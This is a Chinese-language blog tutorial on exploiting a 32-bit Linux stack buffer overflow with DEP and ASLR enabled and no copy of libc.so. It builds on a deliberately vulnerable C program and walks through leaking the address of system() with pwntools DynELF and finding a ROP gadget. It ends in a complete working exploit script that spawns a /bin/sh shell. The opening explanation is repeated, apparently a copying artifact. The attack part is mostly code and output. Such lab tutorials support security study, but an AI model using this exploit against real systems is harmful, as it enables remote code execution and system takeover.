linux栈溢出4-绕过ROP、ASLR(不知道libc.so)
2017-07-31 10:38
891 查看
调试环境是ubuntu14 32位
这次开启了DEP、ASLR(不知道libc.so情况下)
还是参考了《一步一步学ROP之linux_x64篇》这篇文章。
代码是1.c:
gcc -fno-stack-protector -o 1 1.c
开启ASLR:
我们的最终目的是执行system('/bin/sh')代码,所以需要获取system函数的地址,以及想法获取字符串‘bin/sh’的地址。
因为不知道libc.so 文件,所以现在通过内存搜索(内存泄漏)的方式获取函数地址,这就需要用到pwntools提供的DynELF模块。
首先我们需要一个函数leak,通过这个函数可以获取指定地址上一个字节的数据,函数定义为:
def leak(address): payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4) p.send(payload1) data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex')) return data
随后将这个函数作为参数再调用d = DynELF(leak, elf=ELF('./1'))就可以对DynELF模块进行初始化了。然后可以通过调用system_addr = d.lookup('system', 'libc')来得到libc.so中system()在内存中的地址。
关于字符串"/bin/sh",因为无法准确获取字符串在内存中的地址,所以通过其他方式传递字符串,即通过read函数将字符串读取到.bss段首。
main函数,.bss,write@plt write@got这些都是固定的 (因为aslr只会随机化堆、栈、共享库等,不会随机化可执行程序本身),比如获取main函数地址:
可以获取到main函数地址为0x8048476。
.bss地址:
因为函数read有三个参数,后边还要执行system,所以这里需要一个pop pop pop ret的gadget用来保证堆栈平衡。
可以通过一下两种方式获取:
第一种:通过gdb的peda插件中的ropgadget命令获取:
第二种,可以通过objdump获取:
最终pppr的地址为:0x804850d
最终exp如下:
这次开启了DEP、ASLR(不知道libc.so情况下)
还是参考了《一步一步学ROP之linux_x64篇》这篇文章。
代码是1.c:
#include <stdio.h> #include <stdlib.h> #include <unistd.h> void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256); } int main(int argc, char** argv) { vulnerable_function(); write(STDOUT_FILENO, "Hello, World\n", 13); }
gcc -fno-stack-protector -o 1 1.c
开启ASLR:
sudo -s echo 2 > /proc/sys/kernel/randomize_va_space exit
我们的最终目的是执行system('/bin/sh')代码,所以需要获取system函数的地址,以及想法获取字符串‘bin/sh’的地址。
因为不知道libc.so 文件,所以现在通过内存搜索(内存泄漏)的方式获取函数地址,这就需要用到pwntools提供的DynELF模块。
首先我们需要一个函数leak,通过这个函数可以获取指定地址上一个字节的数据,函数定义为:
def leak(address): payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4) p.send(payload1) data = p.recv(4)
print "%#x => %s" % (address, (data or '').encode('hex')) return data
随后将这个函数作为参数再调用d = DynELF(leak, elf=ELF('./1'))就可以对DynELF模块进行初始化了。然后可以通过调用system_addr = d.lookup('system', 'libc')来得到libc.so中system()在内存中的地址。
关于字符串"/bin/sh",因为无法准确获取字符串在内存中的地址,所以通过其他方式传递字符串,即通过read函数将字符串读取到.bss段首。
main函数,.bss,write@plt write@got这些都是固定的 (因为aslr只会随机化堆、栈、共享库等,不会随机化可执行程序本身),比如获取main函数地址:
root@yang-virtual-machine:~# gdb ./1 GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1 Copyright (C) 2014 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i686-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./1...(no debugging symbols found)...done. gdb-peda$ print main $1 = {<text variable, no debug info>} 0x8048476 <main>
可以获取到main函数地址为0x8048476。
.bss地址:
root@yang-virtual-machine:~# readelf -S .bss 1 | grep bss readelf:错误: '.bss': No such file [25] .bss NOBITS 0804a024 001024 000004 00 WA 0 0 1 root@yang-virtual-machine:~#
因为函数read有三个参数,后边还要执行system,所以这里需要一个pop pop pop ret的gadget用来保证堆栈平衡。
可以通过一下两种方式获取:
第一种:通过gdb的peda插件中的ropgadget命令获取:
gdb-peda$ ropgadget ret = 0x80482da popret = 0x80482f1 pop4ret = 0x804850c pop2ret = 0x804850e pop3ret = 0x804850d addesp_12 = 0x80482ee addesp_44 = 0x8048509
第二种,可以通过objdump获取:
yang@yang-virtual-machine:~$ objdump -D 1 | grep "pop" 804823a: 5f pop %edi 8048248: 61 popa 8048257: 5f pop %edi 8048259: 61 popa 8048269: 5f pop %edi 804826c: 61 popa 804826f: 5f pop %edi 8048270: 5f pop %edi 8048277: 5f pop %edi 80482b4: 07 pop %es 80482c4: 07 pop %es 80482f1: 5b pop %ebx 8048352: 5e pop %esi 804850c: 5b pop %ebx 804850d: 5e pop %esi 804850e: 5f pop %edi 804850f: 5d pop %ebp 8048536: 5b pop %ebx 80485a4: 5c pop %esp 8049f94: 17 pop %ss
最终pppr的地址为:0x804850d
最终exp如下:
#!/usr/bin/env python from pwn import * elf = ELF('./1') plt_write = elf.symbols['write'] plt_read = elf.symbols['read'] vulfun_addr = 0x08048476 def leak(address): payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4) p.send(payload1) data = p.recv(4) print "%#x => %s" % (address, (data or '').encode('hex')) return data p = process('./1') #p = remote('127.0.0.1', 10002) d = DynELF(leak, elf=ELF('./1')) system_addr = d.lookup('system', 'libc') print "system_addr=" + hex(system_addr) bss_addr = 0x0804a024 pppr = 0x804850d payload2 = 'a'*140 + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8) payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr) #ss = raw_input() print "\n###sending payload2 ...###" p.send(payload2) p.send("/bin/sh\0") p.interactive()
相关文章推荐
- linux栈溢出-绕过ROP、ASLR(知道libc.so)
- linux溢出总结+windows aslr地址随机化绕过
- ProSSHD 1.2 DEP-溢出-w/ASLR and DEP bypass-SSH2协议学习-不知道怎么弄账户-密码-失败
- ProSSHD 1.2 DEP-溢出-w/ASLR and DEP bypass-SSH2协议学习-不知道怎么弄账户-密码-失败
- 绕过缓冲溢出防护系统
- openwrt下使用SDK编译ipk包遇到Package hiOpenwrt is missing dependencies for the following libraries: libc.so.
- Linux (x86) Exploit 开发系列教程之八 绕过 ASLR -- 第三部分
- opencv2.1移植arm 出现找不到libcv.so not found (try using -rpath or -rpath-link) 及大量 undefined reference的解决
- HeapSpray+ROP绕过IE8的DEP防护 ——堆喷射技术利用超星老漏洞
- windows溢出保护原理与绕过方法概览
- 转:【CSS/JS学习】如何实现单行/多行文本溢出的省略(...)--老司机绕过坑道的正确姿势
- libca.so: cannot open shared object
- 【网络安全】Rop绕过DEP和ASRL流程实例介绍
- Android Crash Report - Native crash at /system/lib/libc.so caused by webview
- 绕过缓冲溢出防护系统
- C语言 利用异常绕过溢出保护攻击程序例子
- 解决:ERROR: ld.so: object ‘/lib/libcwait.so’ from /etc/ld.so.preload cannot be preloaded: ignored.
- 【引用】windows溢出保护原理与绕过方法概览 V2.0(2011/5/9更新)
- 【CSS/JS】如何实现单行/多行文本溢出的省略(...)--老司机绕过坑道的正确姿势
- [转载] Windows溢出保护原理与绕过方法概览 v2.0